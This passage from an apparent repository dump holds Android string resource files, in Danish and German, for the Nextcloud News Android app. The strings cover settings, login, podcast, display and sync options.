name=\"notification_feed_unique\">Få unikke notifikationer for dette feed</string>\n    <string name=\"notification_feed_default\">Alle feeds med standardindstillingerne vil vises i en notifikation</string>\n    <string name=\"notification_feed_none\">Ingen notifikationer overhovedet</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Tilføj</string>\n    <string name=\"hint_folder_name\">Mappenavn</string>\n    <string name=\"folder_already_exists\">Mappen eksistere allerede</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Manuel login</string>\n    <string name=\"login_sso\">Login ved hjælp af Nextcloud Files app\\'en</string>\n    <string name=\"pref_title_username\">Brugernavn</string>\n    <string name=\"pref_title_password\">Adgangskode</string>\n    <string name=\"pref_title_owncloudRootPath\">rodadressen for ownCloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/owncloud</string>\n\n    <string name=\"action_sign_in_short\">Log ind</string>\n    <string name=\"login_progress_signing_in\">Logger ind ...</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Dette felt er påkrævet</string>\n    <string name=\"error_invalid_url\">Ukorrekt URL</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Hentede %d gammelt element</item>\n        <item quantity=\"other\">Hentede %d gamle elementer</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Der er ikke flere artikler tilgængelig</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Hentet %dartikel indtil nu... </item>\n        <item quantity=\"other\">Hentet %d artikler indtil nu... </item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Indstillinger</string>\n    <string name=\"cache_is_cleared\">Cachen er ryddet!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Generelt</string>\n    <string name=\"pref_title_general_sort_order\">Rækkefølge for sortering</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Ny → Gammel</string>\n    <string name=\"pref_general_sort_order_old_new\">Gammel → Ny</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Aktion når der skydes til højre</string>\n    <string name=\"pref_rename_action_swipe_left\">Aktion når skydes til venstre</string>\n\n    <string name=\"pref_title_general_search_in\">Søg i</string>\n\n    <string name=\"pref_general_search_in_title\">Titel</string>\n    <string name=\"pref_general_search_in_body\">Krop</string>\n    <string name=\"pref_general_search_in_both\">Begge</string>\n\n    <string name=\"dialog_clearing_cache\">Nulstil mellemlager</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Rydder cache. Vent venligst...</string>\n    <string name=\"reset_cache_unsaved_changes\">Der er ændringer som ikke er synkroniseret. Vil du nulstille mellemlageret alligevel?</string>\n    <string name=\"warning\">Advarsel</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Synkroniserer ved opstart</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Vis kun ulæste artikler</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Deaktiver verifikation af værtsnavn</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Naviger med lydknapper</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marker som læst når der rulles</string>\n    <string name=\"pref_title_ShowFastActions\">Aktiver hurtigadgangsfunktioner</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Spring detaljeret visning over og åbn artikel i browseren</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Tilbageknap åbner skuffe</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Accepter ukendt certifikat? </string>\n    <string name=\"mtm_decision_always\">Altid</string>\n    <string name=\"mtm_decision_abort\">Afbryd</string>\n    <string name=\"mtm_notification\">Verificering af certifikat</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Der er ikke valgt podcasts</string>\n    <string name=\"no_chapters_available\">Ingen kapitler tilgængelige</string>\n    <string name=\"exit_playback\">Afslut afspiller</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Afspilningshastighed</string>\n    <string name=\"notification_downloading_podcast_title\">Henter podcast</string>\n    <string name=\"dialog_podcast_remove_title\">Er du sikker?</string>\n    <string name=\"dialog_podcast_remove_body\">Vil du gerne fjerne downloadede medie for %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Kunne ikke fjerne medie for %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Medie for %1$s er blevet fjernet </string>\n    <string name=\"dialog_podcast_remove_confirm\">Fjern</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Om</string>\n    <string name=\"pref_license\">Licens</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) version 3</string>\n    <string name=\"pref_report_issue\">Rapporter et problem</string>\n    <string name=\"pref_report_issue_summary\">Kræver en (gratis) GitHub konto</string>\n    <string name=\"pref_contribute\">Medvirk!</string>\n    <string name=\"pref_contribute_summary\">Hent kildeteksten</string>\n    <string name=\"pref_privacy\">Privatliv</string>\n    <string name=\"pref_privacy_summary\">Nextcloud nyheder Android privathedspolitik</string>\n    <string name=\"pref_news_policy\">Kontakt os / nyhedspolitik</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud nyheder Android nyhedspolitik / Kontakt os</string>\n    <string name=\"pref_version\">Nextcloud nyheder Android app</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Vis</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Layout for feed-liste</string>\n    <string name=\"pref_title_font_size\">Skriftstørrelse</string>\n    <string name=\"pref_display_browser\">Browser</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Handlingsikoner (Detaljeret visning)</string>\n\n    <string name=\"pref_display_apptheme_auto\">System Standard</string>\n    <string name=\"pref_display_apptheme_light\">Lys</string>\n    <string name=\"pref_display_apptheme_dark\">Mørk</string>\n\n    <string name=\"pref_oled_mode\">Sort baggrund</string>\n    <string name=\"pref_oled_mode_summary\">Til mørkt tema for OLED skærme</string>\n\n    <string name=\"pref_external_player\">Ekstern afspiller</string>\n    <string name=\"pref_external_player_summary\">Afspil podcasts i din standard medieapp</string>\n\n    <string name=\"pref_display_browser_cct\">Indbyggede Chrome-Custom-Tabs</string>\n    <string name=\"pref_display_browser_built_in\">Indbygget browser</string>\n    <string name=\"pref_display_browser_external\">Ekstern browser</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Thumbnails (kun overskrifter)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Miniaturer</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Simpel tekst</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Overskrifter</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Fuld tekst</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Web layout</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Kortvisning</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Lille</string>\n    <string name=\"pref_display_font_size_d\">Standard</string>\n    <string name=\"pref_display_font_size_l\">Stor</string>\n    <string name=\"pref_display_font_size_xl\">Ekstra stor</string>\n\n    <string name=\"content_desc_play\">Afspil</string>\n    <string name=\"content_desc_pause\">Pause</string>\n    <string name=\"content_desc_playback_speed\">Afspilningshastighed</string>\n    <string name=\"content_desc_rewind\">Spol tilbage</string>\n    <string name=\"content_desc_forward\">Videresend</string>\n    <string name=\"content_desc_expand\">Udvid</string>\n    <string name=\"content_desc_collapse\">Sammenfold</string>\n    <string name=\"content_desc_mark_as_read\">Marker som læst</string>\n    <string name=\"content_desc_mark_as_unread\">Marker som ulæst</string>\n    <string name=\"content_desc_tap_to_refresh\">Tryk for at genopfriske</string>\n    <string name=\"content_desc_add_to_favorites\">Tilføj til favoritter</string>\n    <string name=\"content_desc_remove_from_favorites\">Fjern fra favoritter</string>\n    <string name=\"content_desc_show_password\">Vis adgangskode</string>\n    <string name=\"content_desc_delete\">Slet</string>\n    <string name=\"content_desc_download\">Download</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Fejl</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Det ser ud til at nyheds app\\'en ikke er installeret eller aktiveret på din server. Følg venligst instruktionerne her for at installere nyheds app\\'en på din server først: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Noget gik galt :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Web nyheds app\\'en returnerede version \\\"0\\\". Se venligst i den følgende fejlrapport: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Denne app version er ikke kompatibel med din Nextcloud nyheds app. Opgrader venligst nyheds app\\'en og dens framework</string>\n    <string name=\"login_dialog_title_security_warning\">Sikkerhedsadvarsel</string>\n    <string name=\"login_dialog_text_security_warning\">Du benytter ikke HTTPS, hvilket er stærkt anbefalet. En hacker kunne opsnappe din forbindelse og få adgang til følsomme data (f.eks. din adgangskode).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Noget gik galt. Prøv igen.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Data &amp; sync</string>\n    <string name=\"pref_title_clearCache\">Ryd mellemlageret</string>\n    <string name=\"pref_title_CacheImagesOffline\">Foretag mellemlagring af billeder offline</string>\n    <string name=\"pref_title_Max_Cache_Size\">Maksimumstørrelse på mellemlageret</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Aldrig</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Kun via wifi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Via wifi &amp; mobil</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Spørg når der ikke er wifi-forbindelse</string>\n\n    <string name=\"array_sync_interval_min_0\">Aldrig</string>\n    <string name=\"array_sync_interval_min_5\">5 minutter</string>\n    <string name=\"array_sync_interval_min_15\">15 minutter</string>\n    <string name=\"array_sync_interval_min_30\">30 minutter</string>\n    <string name=\"array_sync_interval_min_45\">45 minutter</string>\n    <string name=\"array_sync_interval_hour_1\">1 time</string>\n    <string name=\"array_sync_interval_hour_2\">2 timer</string>\n    <string name=\"array_sync_interval_hour_3\">3 timer</string>\n    <string name=\"array_sync_interval_hour_6\">6 timer</string>\n    <string name=\"array_sync_interval_hour_12\">12 timer</string>\n    <string name=\"array_sync_interval_hour_24\">24 timer</string>\n    <string name=\"switch_account\">Skift konto</string>\n    \n    <string name=\"successfully_exported\">Eksporterede til:</string>\n    <string name=\"opml_export\">OPML-eksport</string>\n    <string name=\"parsing_opml\">Analyserer OPML</string>\n    <string name=\"please_wait\">Vent venligst …</string>\n    <string name=\"interval_sync_title\">Intervalsynkronisering</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-de/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Automatisch synchronisieren</string>\n    <string name=\"title_activity_sync_interval_selector\">Synchronisierungsintervall</string>\n    <string name=\"empty_view_content\">Keine Artikel vorhanden</string>\n    <string name=\"empty_view_content_action\">Zum Aktualisieren herunterziehen</string>\n    <string name=\"toast_GettingMoreItems\">Herunterladen weiterer Elemente gestartet. Bitte warten …</string>\n    <string name=\"no_wifi_available\">Keine WLAN-Verbindung</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Wollen Sie die Bilder ohne WLAN-Verbindung herunterladen?</string>\n    <string name=\"current_version\">Sie benutzen die Version %s</string>\n    <string name=\"widget_header\">Nextcloud News</string>\n    <string name=\"message_bar_scroll_top\">Neu laden und nach oben scrollen</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d neuer Artikel verfügbar</item>\n        <item quantity=\"other\">%d neue Artikel verfügbar</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Aktualisieren</string>\n    <string name=\"allUnreadFeeds\">Alle ungelesenen Artikel</string>\n    <string name=\"starredFeeds\">Favorisierte Artikel</string>\n    <string name=\"downloadedPodcasts\">Heruntergeladene Podcasts</string>\n    <string name=\"title_activity_new_feed\">Einen neuen Feed hinzufügen</string>\n\n    <string name=\"menu_update\">Aktualisieren</string>\n    <string name=\"menu_markAllAsRead\">Alles als gelesen kennzeichnen</string>\n    <string name=\"menu_StartImageCaching\">Bilder herunterladen</string>\n    <string name=\"menu_downloadMoreItems\">Weitere Artikel herunterladen</string>\n\n    <string name=\"tv_showing_cached_version\">Zwischengespeicherte Version wird angezeigt</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Favorisiert</string>\n    <string name=\"action_read\">Gelesen</string>\n    <string name=\"action_playPodacst\">Podcast wiedergeben</string>\n    <string name=\"action_removePodcast\">Podcast-Medien entfernen</string>\n    <string name=\"action_openInBrowser\">Im Browser öffnen</string>\n    <string name=\"action_Share\">Teilen</string>\n    <string name=\"action_login\">Servereinstellungen</string>\n    <string name=\"action_save\">Speichern</string>\n    <string name=\"action_settings\">Einstellungen</string>\n    <string name=\"action_sync_settings\">Einstellungen zur Synchronisierung</string>\n    <string name=\"action_add_new_feed\">Einen neuen Feed hinzufügen</string>\n    <string name=\"action_add_new_folder\">Neuen Ordner hinzufügen</string>\n    <string name=\"action_textToSpeech\">Vorlesen</string>\n    <string name=\"action_search\">Suchen</string>\n    <string name=\"action_download_articles_offline\">Artikel zum Offline-Lesen herunterladen</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Lade Artikel zum Offline-Lesen herunter</string>\n    <string name=\"notification_download_images_offline\">Lade Bilder zum Offline-Lesen herunter</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Sie haben %d neuen ungelesenen Eintrag</item>\n        <item quantity=\"other\">Sie haben %d neue ungelesene Einträge</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d neuer ungelesener Eintrag verfügbar</item>\n        <item quantity=\"other\">%d neue ungelesene Einträge verfügbar</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Feed-URL</string>\n    <string name=\"action_add_feed\">Feed hinzufügen</string>\n    <string name=\"import_opml\">OPML importieren</string>\n    <string name=\"export_opml\">OPML exportieren</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Bild herunterladen</string>\n    <string name=\"action_img_sharelink\">Link zum Bild teilen</string>\n    <string name=\"action_img_open\">Bild im Browser öffnen</string>\n    <string name=\"action_img_copylink\">Link zum Bild kopieren</string>\n    <string name=\"action_link_share\">Link teilen</string>\n    <string name=\"action_link_open\">Link im Browser öffnen</string>\n    <string name=\"action_link_copy\">Link kopieren</string>\n    <string name=\"toast_img_download_wait\">Lade herunter. Bitte warten …</string>\n    <string name=\"toast_img_saved\">Bild gespeichert</string>\n    <string name=\"toast_img_notwriteable\">Bild konnte nicht geschrieben werden.</string>\n    <string name=\"toast_copied_to_clipboard\">In die Zwischenablage kopiert</string>\n    <string name=\"error_download_failed\">Herunterladen fehlgeschlagen</string>\n    <string name=\"intent_title_share\">Teilen mittels</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Feed entfernen</string>\n    <string name=\"action_feed_rename\">Feed umbenennen</string>\n    <string name=\"action_feed_move\">Feed verschieben</string>\n    <string name=\"action_feed_notification_settings\">Benachrichtigungseinstellungen</string>\n    <string name=\"action_feed_open_in\">Öffnen-in Einstellungen</string>\n    <string name=\"action_feed_open_in_general_setting\">Allgemeine Einstellungen verwenden</string>\n    <string name=\"action_feed_open_in_detailed_view\">Detaillierte Ansicht</string>\n    <string name=\"feed_remove_button\">Entfernen</string>\n    <string name=\"feed_rename_button\">Umbenennen</string>\n    <string name=\"confirm_feed_remove\">Soll dieser Feed entfernt werden? Dies kann nicht rückgängig gemacht werden!</string>\n    <string name=\"feed_move_list_description\">Den Zielordner für den Feed auswählen</string>\n    <string name=\"move_feed_root_folder\">Quellordner</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Ordner entfernen</string>\n    <string name=\"action_folder_rename\">Ordner umbenennen</string>\n    <string name=\"folder_remove_button\">Entfernen</string>\n    <string name=\"folder_rename_button\">Umbenennen</string>\n    <string name=\"confirm_folder_remove\">Soll dieser Ordner entfernt werden? Dies kann nicht rückgängig gemacht werden!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Spezielle Benachrichtigungen für diesen Feed erhalten</string>\n    <string name=\"notification_feed_default\">Alle Feeds mit den Standardeinstellungen werden in einer Benachrichtigung angezeigt</string>\n    <string name=\"notification_feed_none\">Überhaupt keine Benachrichtigungen</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Hinzufügen</string>\n    <string name=\"hint_folder_name\">Ordnername</string>\n    <string name=\"folder_already_exists\">Der Ordner existiert bereits</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Manuelle Anmeldung</string>\n    <string name=\"login_sso\">Anmeldung mittels Nextcloud-App</string>\n    <string name=\"pref_title_username\">Benutzername</string>\n    <string name=\"pref_title_password\">Passwort</string>\n    <string name=\"pref_title_owncloudRootPath\">Nextcloud Wurzeladresse</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Anmelden</string>\n    <string name=\"login_progress_signing_in\">Melde an …</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Dieses Feld ist erforderlich.</string>\n    <string name=\"error_invalid_url\">URL nicht korrekt</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">%d Artikel als gelesen markiert</item>\n        <item quantity=\"other\">%d Artikel als gelesen markiert</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">%d alten Artikel heruntergeladen</item>\n        <item quantity=\"other\">%d alte Artikel heruntergeladen</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Keine weiteren Elemente verfügbar</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Bisher %d Eintrag geladen …</item>\n        <item quantity=\"other\">Bisher %d Einträge geladen …</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Einstellungen</string>\n    <string name=\"cache_is_cleared\">Zwischenspeicher wurde gelöscht!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Allgemein</string>\n    <string name=\"pref_title_general_sort_order\">Sortierung</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Neu → Alt</string>\n    <string name=\"pref_general_sort_order_old_new\">Alt → Neu</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Aktion beim Wischen nach rechts</string>\n    <string name=\"pref_rename_action_swipe_left\">Aktion beim Wischen nach links</string>\n\n    <string name=\"pref_title_general_search_in\">Suche in</string>\n\n    <string name=\"pref_general_search_in_title\">Titel</string>\n    <string name=\"pref_general_search_in_body\">Artikel</string>\n    <string name=\"pref_general_search_in_both\">Beide</string>\n\n    <string name=\"dialog_clearing_cache\">Zwischenspeicher wird geleert</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Zwischenspeicher wird geleert. Bitte warten …</string>\n    <string name=\"reset_cache_unsaved_changes\">Es gibt nicht synchronisierte Änderungen. Möchten Sie dennoch den Zwischenspeicher leeren?</string>\n    <string name=\"warning\">Warnung</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Beim Start synchronisieren</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Nur ungelesene Artikel anzeigen</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Hostnamen-Nachweis deaktivieren</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Mit Lautstärketasten navigieren</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Beim Bildlauf als gelesen markieren</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">Synchronisieren, wenn nach unten geblättert wird</string>\n    <string name=\"pref_title_ShowFastActions\">Schnellzugriffsfunktionen aktivieren</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Detailansicht überspringen und Artikel in Browser öffnen</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Die Zurück-Taste öffnet das Menü</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Unbekanntes Zertifikat akzeptieren?</string>\n    <string name=\"mtm_decision_always\">Immer</string>\n    <string name=\"mtm_decision_abort\">Abbrechen</string>\n    <string name=\"mtm_notification\">Zertifikatsnachweis</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Kein Podcast ausgewählt</string>\n    <string name=\"no_chapters_available\">Keine Kapitel verfügbar</string>\n    <string name=\"exit_playback\">Den Player beenden</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Wiedergabegeschwindigkeit</string>\n    <string name=\"notification_downloading_podcast_title\">Podcast wird heruntergeladen</string>\n    <string name=\"dialog_podcast_remove_title\">Sind Sie sicher?</string>\n    <string name=\"dialog_podcast_remove_body\">Sollen die heruntergeladenen Medien für %1$s entfernt werden?</string>\n    <string name=\"dialog_podcast_status_failed\">Medien für %1$s konnten nicht entfernt werden</string>\n    <string name=\"dialog_podcast_status_success\">Medien für %1$s wurden entfernt</string>\n    <string name=\"dialog_podcast_remove_confirm\">Entfernen</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Über</string>\n    <string name=\"pref_license\">Lizenz</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public Lizenz (AGPL) Version 3</string>\n    <string name=\"pref_report_issue\">Fehler melden</string>\n    <string name=\"pref_report_issue_summary\">Erfordert ein (kostenloses) GitHub-Konto</string>\n    <string name=\"pref_contribute\">Mitmachen!</string>\n    <string name=\"pref_contribute_summary\">Zum Quellcode</string>\n    <string name=\"pref_privacy\">Datenschutz</string>\n    <string name=\"pref_privacy_summary\">Nextcloud News Android App Datenschutzerklärung</string>\n    <string name=\"pref_news_policy\">Kontaktieren Sie uns / News-Richtlinie</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud News Android News Richtlinie / Kontaktieren Sie uns</string>\n    <string name=\"pref_version\">Nextcloud News Android App</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Anzeige</string>\n    <string name=\"pref_title_app_theme\">Design</string>\n    <string name=\"pref_title_feed_list_layout\">Feed-Listenlayout</string>\n    <string name=\"pref_title_font_size\">Schriftgröße</string>\n    <string name=\"pref_display_browser\">Browser</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Aktionssymbole (Detailansicht)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Systemstandard</string>\n    <string name=\"pref_display_apptheme_light\">Hell</string>\n    <string name=\"pref_display_apptheme_dark\">Dunkel</string>\n\n    <string name=\"pref_oled_mode\">Schwarzer Hintergrund</string>\n    <string name=\"pref_oled_mode_summary\">Für dunkles Design auf OLED-Bildschirmen</string>\n\n    <string name=\"pref_detailed_view_zoom\">Zoom der Detailansicht</string>\n    <string name=\"pref_detailed_view_zoom_summary\">Zoomen des Inhalts in der Detailansicht aktivieren</string>\n\n    <string name=\"pref_external_player\">Externer Player</string>\n    <string name=\"pref_external_player_summary\">Spielen Sie Podcasts in Ihrer Standard-Medien-App ab</string>\n\n    <string name=\"pref_display_browser_cct\">Integrierte angepasste Chrome-Tabs</string>\n    <string name=\"pref_display_browser_built_in\">Integrierter Browser</string>\n    <string name=\"pref_display_browser_external\">Externer Browser</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Miniaturbilder (nur Überschriften)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Vorschaubilder</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Einfacher Text</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Schlagzeilen</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Volltext</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Web-Layout</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Kartenansicht</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Klein</string>\n    <string name=\"pref_display_font_size_d\">Standard</string>\n    <string name=\"pref_display_font_size_l\">Groß</string>\n    <string name=\"pref_display_font_size_xl\">Sehr Groß</string>\n\n    <string name=\"content_desc_play\">Spielen</string>\n    <string name=\"content_desc_pause\">Pausieren</string>\n    <string name=\"content_desc_playback_speed\">Wiedergabegeschwindigkeit</string>\n    <string name=\"content_desc_rewind\">Zurück</string>\n    <string name=\"content_desc_forward\">Weiterleiten</string>\n    <string name=\"content_desc_expand\">Erweitern</string>\n    <string name=\"content_desc_collapse\">Zuklappen</string>\n    <string name=\"content_desc_mark_as_read\">Als gelesen markieren</string>\n    <string name=\"content_desc_mark_as_unread\">Als ungelesen markieren</string>\n    <string name=\"content_desc_tap_to_refresh\">Zum Aktualisieren antippen</string>\n    <string name=\"content_desc_add_to_favorites\">Zu Favoriten hinzufügen</string>\n    <string name=\"content_desc_remove_from_favorites\">Von Favoriten entfernen</string>\n    <string name=\"content_desc_show_password\">Passwort anzeigen</string>\n    <string name=\"content_desc_delete\">Löschen</string>\n    <string name=\"content_desc_download\">Herunterladen</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Fehler</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Die News-App ist auf Ihrem Server nicht installiert oder aktiviert. Folgen Sie den Anweisungen zur Installation und Einrichtung: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Etwas ist schiefgelaufen :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Die Web News App lieferte die Version \\\"0\\\" zurück. Bitte werfen Sie einen Blick auf den folgenden Fehlerbericht: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Diese App-Version ist nicht mit Ihrer Nextcloud News-App kompatibel. Bitte aktualisieren Sie die News-App und das App-Framework.</string>\n    <string name=\"login_dialog_title_security_warning\">Sicherheitswarnung</string>\n    <string name=\"login_dialog_text_security_warning\">Sie verwenden kein HTTPS. Ein Angreifer könnte Ihren Datenverkehr mitschneiden und dadurch Zugang zu sensiblen Daten (z.B. Ihrem Passwort) erhalten.</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Etwas ist schiefgelaufen. Bitte erneut versuchen.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Daten &amp; Synchronisierung</string>\n    <string name=\"pref_title_clearCache\">Zwischenspeicher leeren</string>\n    <string name=\"pref_title_CacheImagesOffline\">Bilder Offline zwischenspeichern</string>\n    <string name=\"pref_title_Max_Cache_Size\">Maximale Cachegröße</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nie</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Nur über WLAN</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Über WLAN &amp; Mobil</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Bei nicht verbundenem WLAN fragen</string>\n\n    <string name=\"array_sync_interval_min_0\">Niemals</string>\n    <string name=\"array_sync_interval_min_5\">5 Minuten</string>\n    <string name=\"array_sync_interval_min_15\">15 Minuten</string>\n    <string name=\"array_sync_interval_min_30\">30 Minuten</string>\n    <string name=\"array_sync_interval_min_45\">45 Minuten</string>\n    <string name=\"array_sync_interval_hour_1\">1 Stunde</string>\n    <string name=\"array_sync_interval_hour_2\">2 Stunden</string>\n    <string name=\"array_sync_interval_hour_3\">3 Stunden</string>\n    <string name=\"array_sync_interval_hour_6\">6 Stunden</string>\n    <string name=\"array_sync_interval_hour_12\">12 Stunden</string>\n    <string name=\"array_sync_interval_hour_24\">24 Stunden</string>\n    <string name=\"switch_account\">Konto wechseln</string>\n    \n    <string name=\"successfully_exported\">Exportiert nach:</string>\n    <string name=\"opml_export\">OPML Export</string>\n    <string name=\"parsing_opml\">Analysiere OPML</string>\n    <string name=\"please_wait\">Bitte warten …</string>\n    <string name=\"interval_sync_title\">Intervall-Synchronisation</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-el/strings.xml",
